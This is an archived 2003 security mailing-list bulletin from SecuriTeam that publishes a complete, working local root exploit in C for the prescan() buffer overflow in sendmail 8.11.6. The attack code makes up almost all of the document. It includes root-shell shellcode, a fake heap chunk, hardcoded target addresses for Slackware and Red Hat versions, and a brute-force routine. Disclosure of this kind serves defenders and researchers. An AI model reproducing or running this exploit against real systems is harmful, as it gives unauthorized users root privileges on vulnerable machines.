[EXPL] Local Exploit for Sendmail's prescan() Function
From: support@securiteam.com
Date: 04/18/03
- Previous message: support@securiteam.com: "[NT] iWeb Mini Web Server Remote Directory Traversal"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 18 Apr 2003 12:07:14 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
In the US?
Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!
Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
- - - - - - - - -
Local Exploit for Sendmail's prescan() Function
------------------------------------------------------------------------
SUMMARY
This exploit takes advantage of the vulnerable prescan() function that
allows the user to input 0xff in order to skip the length check of the
buffer.
DETAILS
Exploit:
/*
* local exploit for sendmail 8.11.6
* by sorbo (sorbox@yahoo.com)
* http://www.darkircop.org
*
* This exploit takes advantage of the vulnerable prescan() function that
* allows the user to input 0xff in order to skip the length check of the
buffer.
*
* The vulnerability was found by Michal Zalewski
*
* The goal is to overwrite the 2 lsb of the saved frame pointer and make
it
* point to an area we control.
*
* We can overflow pvpbuf[] in parseaddr() (which calls prescan()) and
overwrite
* parseaddr's saved frame pointer.
* When parseaddr() returns, the control is back to sendtolist() but the
frame pointer
* will be modified (we make it point to somewhere in pvpbuf).
* We can't just fill pvpbuf with the ret value we want, since
sendtolist() doesn't
* exit right away, but instead makes use of some variables.
* We need therefore to construct pvpbuf in an intelligent way, so
references to variables
* will be valid.
* The first variable to set is delimptr (located at ebp - something).
* We simply make this point to a 0, so the for loop exits.
* The next variable to set is al (located at ebp - something ). We need
to make a->q_next
* point to 0 so the while loop exits. a->q_next is a+11*4.
* The next variable is e (ebp + something). We make it point to a 0
* The next variable is bufp (ebp - something). This needs to be equal to
buf to skip the free.
* This cannot be done since the address contains a 0xff and this cannot
be input in pvpbuf.
* We just make it point to a valid chunk (in our case... our fake chunk).
We can't make it point
* to stack since arena_for_ptr() will fail. Luckily our arguments get
copied on the heap, so we
* just point it to that.
* Next we just set the ret (ebp + 4) to our shellcode and when
sendtolist() exits our
* shellcode will be executed. Note shellcode is even copied on heap, so
non executable stacks will not
* stop the exploit (the ret addr must match the shellcode location on the
heap though)
*
* Note that if we overflow ebp by only one byte (putting a 0) i.e. the
classical way
* will not work since the register will not point to pvpbuf. What we do
is overwrite two
* bytes with 0x005c. Then we fill up the stack (by passing a long
argument) so we lower the
* address of pvpbuf untill it is in the range of the ebp. Also our
shellcode will be at a low
* stack address < 0xbffefefe (since we cannot write 0xff in pvpbuf).
*
* NOTE: sendmail 8.12.8 cannot be exploited this way since there is an
assert() which cannot
* be bypassed (in sendtolist()).
*
* have fun
*
* Greetz: Knight420, Stefano Biondi, nevez
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
char shellcode[] =
/* NOPs (so we don't have to be exact in shellcode addr calculation) */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/* setuid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x17" /* mov $0x17,%al */
"\xcd\x80" /* int $0x80 */
/* setgid(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x2e" /* mov $0x2e,%al */
"\xcd\x80" /* int $0x80 */
/* /bin/sh execve(); */
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* exit(0); */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\xb0\x01" /* mov $0x01,%al */
"\xcd\x80"; /* int $0x80 */
/* NOTE: not all characters are passable:
* 0x00 (duh), 0xff, 0x09-0x0d, 0x20-0x22, 0x25, 0x28, 0x29, 0x2b, 0x2c
* 0x2e,0x2f,0x3a-0x3c,0x3e,0x40,0x5b,0x5d,0x5e,0x80-0x9f
*
* the REAL variables are only pvpbuf and chunk... so don't get scared by
all these
* required variables. Most of them are fixed =D.
*/
struct target_info {
char *description; /* target description */
char *sendmail; /* sendmail path */
int stack_len; /* how much stuff to put in stack */
int distance; /* distance in bytes from pvpbuf to last 2 bytes of saved
framepointer */
int ebp; /* the value ebp will have */
int pvpbuf; /* address of pvpbuf */
int zero; /* address of a 0 in memory */
int chunk; /* address of a chunk to free */
int ret; /* address of shellcode (aprox 0xc0000000 - stack_len) */
int delimptr; /* delimptr -ebp */
int al; /* al - ebp */
int e; /* e - ebp */
int bufp; /* bufp - ebp */
};
struct target_info targets[] = {
{"Slackware
8.0","/usr/sbin/sendmail",123090,1258,0xbffe005c,0xbffdfef4,0xbffe15d6,0x80f30a0,0xbffe1f36,-264,-268,24,-284},
{"Redhat
7.3","/usr/sbin/sendmail.sendmail",123074,1290,0xbffe005c,0xbffdfcd0,0xbffe19a6,0x80f30a0,0xbffe1f36,-300,-304,24,-320},
{"Redhat
7.2","/usr/sbin/sendmail",123090,1290,0xbffe005c,0xbffdfcd0,0xbffe19a6,0x80f30a0,0xbffe1f36,-300,-304,24,-320}
};
/* return 1 if successfull
* 0 if failed
*
*/
int exploit(struct target_info target) {
char *stackfiller=0; /* data to lower stack (we can put fake chunks and
shellcode here) */
char egg[1024*3]; /* the argment to prescan() */
char *ptr;
int *ptr2;
int i;
int pid;
char *arg[] = { "owned",egg,stackfiller,NULL};
/* prepare stack filler */
stackfiller = (char*) malloc(target.stack_len);
if(!stackfiller) {
perror("malloc()");
exit(0);
}
memset(stackfiller,'A',target.stack_len);
*(stackfiller+target.stack_len-1) = 0;
ptr = stackfiller;
while(1) {
/* fake chunk */
char *chunk = "\xfc\xff\xff\xff"
"\xfc\xff\xff\xff"
"\xa1\xff\xff\xbf"
"\xa1\xff\xff\xbf" /* yes unlink will overwrite
0xbfffffa1+12 ... but who cares */
"\xa1\xff\xff\xbf";
memcpy(ptr,chunk,strlen(chunk));
ptr += strlen(chunk);
if(ptr + strlen(chunk) >= stackfiller+target.stack_len-1)
break;
}
memcpy(stackfiller,shellcode,strlen(shellcode));
arg[2] = stackfiller;
/* prepare egg */
memset(egg,'A',1200);
egg[1200] = 0;
for(i=0; i < target.distance - 1200; i++)
strcat(egg,"\xff\\");
/* set delimptr */
ptr2 = (int*) &egg[target.ebp+target.delimptr-target.pvpbuf];
*ptr2 = target.zero;
/* set al */
ptr2 = (int*) &egg[target.ebp+target.al-target.pvpbuf];
*ptr2 = target.zero-11*4;
/* set e */
ptr2 = (int*) &egg[target.ebp+target.e-target.pvpbuf];
*ptr2 = target.zero;
/* set bufp */
ptr2 = (int*) &egg[target.ebp+target.bufp-target.pvpbuf];
*ptr2 = target.chunk;
/* set ret ebp + 4 */
ptr2 = (int*) &egg[target.ebp+4-target.pvpbuf];
*ptr2 = target.ret;
/* execute program */
pid = fork();
if(pid == -1) {
perror("fork()");
exit(-1);
}
/* child */
if(pid==0) {
execve(target.sendmail,arg,NULL);
perror("execve()");
kill(getpid(),SIGKILL);
exit(0);
}
else {
int status;
wait(&status);
if(WIFEXITED(status) == 0)
return 0;
return 1;
}
}
/*
* OK here is how we brute force.
* We need to find two values... a valid chunk to free (our fake chunk)
* and the pvpbuf addr
* Since our fake chunk is repeated all over and is 4*5 bytes long,
* we have 5 possibilites of error in a sequencial search. We try for:
* chunk,chunk+4,chunk+8,chunk+12,chunk+16
*
* pvpbuf addr must be somewhere lower than ebp, specifically ebp +
target.bufp (or else
* the exploit will fail since we cannot overwrite bufp. We start from
bruteforcing ebp + target.bufp
* decreasing by 4 bytes
*
*/
void bruteforce(struct target_info target) {
int cincrease = 0; /* how many times we increased chunk value */
target.pvpbuf = target.ebp+target.bufp;
printf("Trying pvpbuf=0x%x\n",target.pvpbuf);
while(target.ebp - target.pvpbuf < 2000) { /* exploit will fail since
pvpbuf < 2000 bytes */
if(exploit(target)) {
printf("Successfull exploitation with pvpbuf=0x%x and
chunk=0x%x\n",target.pvpbuf,target.chunk);
return;
}
/* make sure it is a "usable" address ... start with a base of 0x0a
since u have space untill 0xfe */
target.chunk+=4;
cincrease++;
if(cincrease > 4) {
target.chunk -= cincrease*4; /* start at initial value again */
cincrease =0;
target.pvpbuf -= 4;
printf("Trying pvpbuf=0x%x\n",target.pvpbuf);
}
}
printf("Bruteforce failed\n");
}
void print_targets() {
int tcount = sizeof(targets)/sizeof(struct target_info);
int i;
printf("Id\tDescription\tpvpbuf\t\tzero\t\tchunk\t\tshellcode addr\n");
for(i = 0; i < tcount; i++) {
printf("%d)\t%s\t0x%x\t0x%x\t0x%x\t0x%x\n",i,
targets[i].description,targets[i].pvpbuf,targets[i].zero,targets[i].chunk,targets[i].ret);
}
}
void usage(char *p) {
printf("Usage: %s <opts>\n",p);
printf("-h\tthis lame message\n");
printf("-t\ttarget\n");
printf("-b\tbrute force\n");
printf("\n");
print_targets();
exit(0);
}
int main(int argc, char *argv[]) {
int t = 0;
int brute = 1;
int opt;
printf("Local sendmail 8.11.6 exploit by sorbo (sorbox@yahoo.com)\n");
while( (opt = getopt(argc,argv,"t:bh")) != -1) {
switch(opt) {
case 't':
t = atoi(optarg);
if(t >= sizeof(targets)/sizeof(struct target_info)) {
printf("Invalid target %d\n",t);
exit(0);
}
brute = 0;
break;
case 'b':
brute = 1;
break;
case 'h':
default:
usage(argv[0]);
}
}
printf("Attempting to exploit %s\n",targets[t].description);
if(brute) {
bruteforce(targets[t]);
exit(0);
}
printf("pvpbuf=\t\t0x%x\n",targets[t].pvpbuf);
printf("zero=\t\t0x%x\n",targets[t].zero);
printf("chunk=\t\t0x%x\n",targets[t].chunk);
printf("shellcode=\t0x%x\n",targets[t].ret);
t = exploit(targets[t]);
if(t)
printf("Exploit successfull\n");
else
printf("Exploit failed... try adding -b\n");
exit(0);
}
ADDITIONAL INFORMATION
The exploit has been provided by <mailto:sorbox@yahoo.com> sorbo, the
vulnerability was discovered by Michal Zalewski.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NT] iWeb Mini Web Server Remote Directory Traversal"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]